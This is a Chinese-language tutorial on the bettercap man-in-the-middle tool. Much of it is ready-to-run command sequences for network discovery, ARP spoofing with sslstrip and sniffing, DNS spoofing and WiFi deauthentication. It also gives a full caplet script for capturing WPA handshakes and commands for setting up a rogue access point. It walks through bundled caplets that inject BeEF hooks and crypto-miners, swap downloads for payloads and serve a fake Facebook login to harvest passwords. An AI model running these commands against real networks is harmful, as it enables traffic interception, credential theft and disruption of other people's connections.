中间人工具bettercap

简介

bettercap 用于中间人攻击测试,并可以应用于 wifi 网络的一些测试。

官网:https://www.bettercap.org/

项目地址:https://github.com/bettercap/bettercap

安装

官网介绍的安装命令:

1
2
3
$ go get github.com/bettercap/bettercap
$ cd $GOPATH/src/github.com/bettercap/bettercap
$ make build && sudo make install

因为我用的 parrot 中默认自带了,所以我没有尝试过安装,如果 kali 中没有这一工具,貌似也可以 apt install 直接安装,如果不能就按照官网介绍的安装命令来吧。

常见用法

基本介绍

bettercap 有两种用法:

  1. 直接执行会进入交互式模式
  2. 非交互模式,命令-caplet 文件执行脚本文件,通过编写脚本可以组合复杂的攻击,或者-eval 命令直接执行命令内容。

-h输出帮助信息。

-iface 网卡指定网卡对应的网络,比如 wlan0。

内网发现

进入交互模式

1
$ sudo bettercap -iface eth1

展示网络情况

1
net.show

执行过后会展示被动发现的网络主机,但有些需要主动发现,使用

1
net.probe on

启用主动发现之后会产生一系列数据包探测网络,接着重复net.show会看到新发现的网络主机。

ticker on为定时器模块,可以重复执行命令,默认执行的命令是clear; net.show,所以我们执行

1
$ sudo bettercap -iface eth1 -eval "net.probe on;ticker on"

会开启内网探测,并重复刷新显示最新探测到的网络状况。

交互式模式下使用以下命令修改 ticker 执行的内容

1
set ticker.commands 'command'

设置执行 ping 检测是否连接到外网:

1
set ticker.commands 'clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected"'

设置执行间隔时间为 3 秒

1
set ticker.period 3

开启定时器:

1
ticker on

使用命令模式一步执行上面的所有内容:

1
$ sudo bettercap -eval 'net.probe on; set ticker.commands "clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected""; set ticker.period 3; ticker on'

我们可以使用-caplet 参数,指定一个包含命令的 cap 文件来代替-eval,这样就不用每次都输入一大串命令。
新建一个 netmon.cap,内容如下:

1
2
3
4
5
net.probe on
# Note the absence of quotes in this example and the quotes in the previous ones:
set ticker.commands clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected"
set ticker.period 3
ticker on

然后执行:

1
$ sudo better -caplet ./netmon.cap

欺骗和嗅探

开启 ARP 欺骗:

1
arp.spoof on

默认情况下,会对整个子网进行欺骗,所以通常我们要设置对应的 IP,而不是攻击所有主机:

1
set arp.spoof.targets 192.168.66.3

要设置多个 IP 的话使用逗号间隔
接下来看看网络情况:

1
net.show

在启动 ARP 欺骗之前一定要设置目标,如果要改变目标 IP,先停止欺骗:

1
2
3
arp.spoof off
set arp.spoof.targets 192.168.66.3
arp.spoof on

对于嗅探来说,如果嫌结果冗余,可以先精简结果:

1
set net.sniff.verbose false

开启嗅探

1
net.sniff on

HTTP 透明代理

要分析 HTTP 流量,必须开启 http.proxy。如果结合 sniff 模块,所有嗅探到的 HTTP 流量都会转到 http.proxy,这种情况下,它会自动设置端口转发。
如果你想使用 sslstrip,必须设置 http.proxy.sslstrip 为 true,默认为 false

1
set http.proxy.sslstrip true

开启 http proxy:

1
http.proxy on

下面以攻击 192.168.66.3 为例,首先开启 arp.spoof 让对方的所有流量转到攻击者的机器,然后开启 http.proxy,这样所有 http 流量转到代理模块,然后精简嗅探结果并开启嗅探,这样可以看到所有 sniff 到的重要信息。如果想看到 https,开启 http.proxy.sslstrip。

1
2
3
4
5
6
set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets 192.168.66.3
arp.spoof on
http.proxy on
net.sniff on

要攻击整个内网,省略 set arp.spoof.targets 这一句。

DNS 欺骗

使用 dns.spoof 模块可以实现 DNS 欺骗,默认情况会欺骗目标所有访问的域名。如果要指定欺骗的域名,执行:

1
set dns.spoof.domains myt0.com,google.com

设置欺骗转向的地址,默认是本地地址:

1
set dns.spoof.address desired_IP

默认只会回应那些对本地的请求,如果要回应任何请求,使用以下命令:

1
set dns.spoof.all true

运行 dns spoof:

1
dns.spoof on

内置 webserver

你也可以使用自带的 apache:

1
systemctl start apache2

bettercap 内置一个简单的 web server, 首先设置 server 监听的目录:

1
set http.server.path /path/folder

开启 http.server

1
http.server on

Wi-Fi 网络监听:

首先使用-iface 指定监听 wifi 网卡:

1
$ sudo bettercap -iface wlan0

这个时候可能会出现报错:

1
2
Can't restore interface wlan0 wireless mode (SIOCSIWMODE failed: Bad file descriptor).
Please adjust manually.

这是因为需要将网卡开启混杂模式:

1
2
3
$ sudo ip link set wlan0 down
$ sudo iw wlan0 set monitor control
$ sudo ip link set wlan0 up

然后指定网卡启动之后,开启探测 wifi 网络:

1
wifi.recon on

执行之后会看到探测的所有 wifi 网络。
如果你觉得结果太多,可以设置监听指定的频道:

1
wifi.recon.channel 1,2,3

如果之后想监听所有频道,执行:

1
wifi.recon.channel clear

然后显示 wifi 探测结果:

1
wifi.show

接下来我们利用 ticker 展示最新探测到的 20 个 wifi:

1
2
3
set ticker.commands 'clear; wifi.show; net.show; events.show 20'
wifi.recon on
ticker on

捕获握手数据包

这里你需要理解当连接 wifi 的时候密码配对正确时会产生一个 handshake,里面包含 wifi 密码的密文,可以利用伪造的断网数据包使客户端与 AP(wifi 接入点)断开连接,然后客户端会自动重新连接,这个时候我们可能会捕获到 handshake。

首先简化输出结果:

1
set net.sniff.verbose true

通过设置 handshake 的标志位过滤 handshake:

1
set net.sniff.filter ether proto 0x888e

设置数据包存放路径:

1
set net.sniff.output /root/wpa.pcap

开启嗅探:

1
net.sniff on

设置 wifi 频道:

1
wifi.recon.channel 3

开启 wifi 探测:

1
wifi.recon on

如果你对某一 AP 感兴趣,可以指定其 BSSID:

1
wifi.recon 50:46:5d:6e:8c:20

利用 ticker 显示最新发现的 wifi:

1
2
set ticker.commands 'clear; wifi.show'
ticker on

发动断网攻击,攻击指定的 AP 或者客户端:

1
2
wifi.deauth AP-BSSID
wifi.deauth CLIENT-BSSID

我们可以用下面的命令判断数据包中是否含有 handshake:

1
tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null

更直观的:

1
if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Got handshake!"; else echo "Nothing"; fi;

接下来我们综合上述内容创建一个 cap 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Setting up the sniffer
set net.sniff.verbose true
set net.sniff.filter ether proto 0x888e
set net.sniff.output /root/wpa.pcap
net.sniff on

# Configuring and starting the analysis of wireless networks; channel and BSSID replace with your values
wifi.recon.channel 8
wifi.recon on
sleep 20
wifi.recon 50:46:5d:6e:8c:20

# Performing the deauthentication attack, sleeping for 60 seconds, checking if a handshake was captured,
# if yes, then quitting bettercap.
# Note that if you changed the name of the file where the handshake is saved, you also need to change
# it here - /root/wpa.pcap, and also replace BSSID with the attacked AP
set ticker.commands wifi.deauth 50:46:5d:6e:8c:20; sleep 60; !'if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Got handshake! Quit."; sleep 1; pkill -1 bettercap; else echo "Yet not captured"; fi;'
# Period of the cycle - only one second is set here, because in the previous set of commands there is a sleep 60;
# which sets the sleep for 60 seconds:
set ticker.period 1
# Run cyclic execution of commands
ticker on

根据脚本运行 bettercap:

1
$ sudo bettercap -iface wlan0 -caplet ./HS_capture_50465d6e8c20.cap

创建伪造 AP

1
2
3
4
5
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false
wifi.recon on; wifi.ap

这里可以基于其他设置执行复杂的攻击,比如基于社会工程学的自动攻击。

bettercap caplet 回顾

官方自带了一些 cap 脚本,点击查看。下面我们来看几个典型的脚本怎么使用。

Beef hooking

Beef 通过与客户端的 JS 通信来控制受害者客户端,简单来说是一个 XSS 工具,不了解的可先去学习一下怎么使用 beef。
bettercap 提供的与 beef 相关的两个脚本是beef-passive.capbeef-active.cap
第一个脚本被动注入 JS,第二个脚本主动注入 JS,这两个脚本都会注入beef-inject.js,查看源码会发现这个 js 文件网 HTML 中注入一个 JS 地址,你需要将这个 JS 地址替换为你的 Beef JS 地址。

矿机注入

crypto-miner.cap会注入矿机,你需要修改crypto-miner.js,写入你自己 key。

替换上传下载文件

download-autopwn.cap用于替换下载的文件,需要注意两点:

  1. 受害者发出请求的 user-agent 字段需要匹配 downloadautopwn.useragent.x regexp 的值
  2. 请求的文件扩展名要匹配 downloadautopwn.extensions.x,根据这些扩展名,你可以在 caplets/download-autopwn/找到对应的 downloadautopwn.devices。
    同时download-autopwn.js文件与 download-autopwn.cap 互相配合,这个脚本并不是用于浏览器的,而是用于 http.proxy 模块,控制 bettercap 的行为。
    执行过后,如果有人上传文件,这边匹配到了就会替换成你对应的 payload。

窃取 Facebook 密码

fb-phish.cap会在 80 端口放置一个伪造的 facebook 登录页,利用了 http.proxy 模块,有人访问登录了,就会打印捕获的密码,然后重定向到真正的 facebook。
这一脚本利用fb-phish.js文件控制 http.proxy。
开始之前要创建一个伪造 login 页面,可以使用 makefile 快速创建:

1
2
cd caplets/www/
make

然后发起攻击:

1
2
3
4
5
6
7
set http.server.address 0.0.0.0
set http.server.path caplets/www/www.facebook.com/

set http.proxy.script caplets/fb-phish.js

http.proxy on
http.server on

收集 HTTP 请求

运行 ARP 欺骗,然后利用http-req-dumsp.js来导出与 http.proxy 或者 https.proxy 交互的请求包。

收集 Form 框自动传入数据

假如浏览器记录了上次登录的 form 框用户名密码,下次打开会自动传入或者进行一些交互之后传入,在 form 框自动传入记录的信息时我们可以利用login-man-abuse.cap来收集这些信息。
例子:webpage demo

利用 DHCPv6 请求重定向 DNS 请求

原理介绍:https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/

大概意思是,现代版本中的 windows 系统对 ipv6 有优先权,攻击者发送一个指定攻击者 IP 为 DNS server 的 ipv6 数据包给 windows 受害者,会起到 DNS 欺骗的效果。

利用脚本mitm6.cap

http.proxy 测试脚本

proxy-script-test.cap帮助你测试 js 脚本的运行,这里利用proxy-script-test.js

密码嗅探

simple-passwords-sniffer.cap利用简单的正则来截取密码。

自定义 bettercap 交互提示

test-prompt-stats.cap

改变 web 页面内容

web-override.cap可以改变为任何攻击者指定页面。利用web-override.js脚本控制 http.proxy。
如果你想的话,你可以创造自己的 caplet,然后提交到官方的仓库。

总结

如你所见,bettercap 是一款强大的,非常容易实现各种中间人攻击的工具。
以上只是介绍了一部分用法,在实际中还需要自己多加探索。在官方文档有记载所有模块的作用。
本文参考自 https://miloserdov.org/?p=1112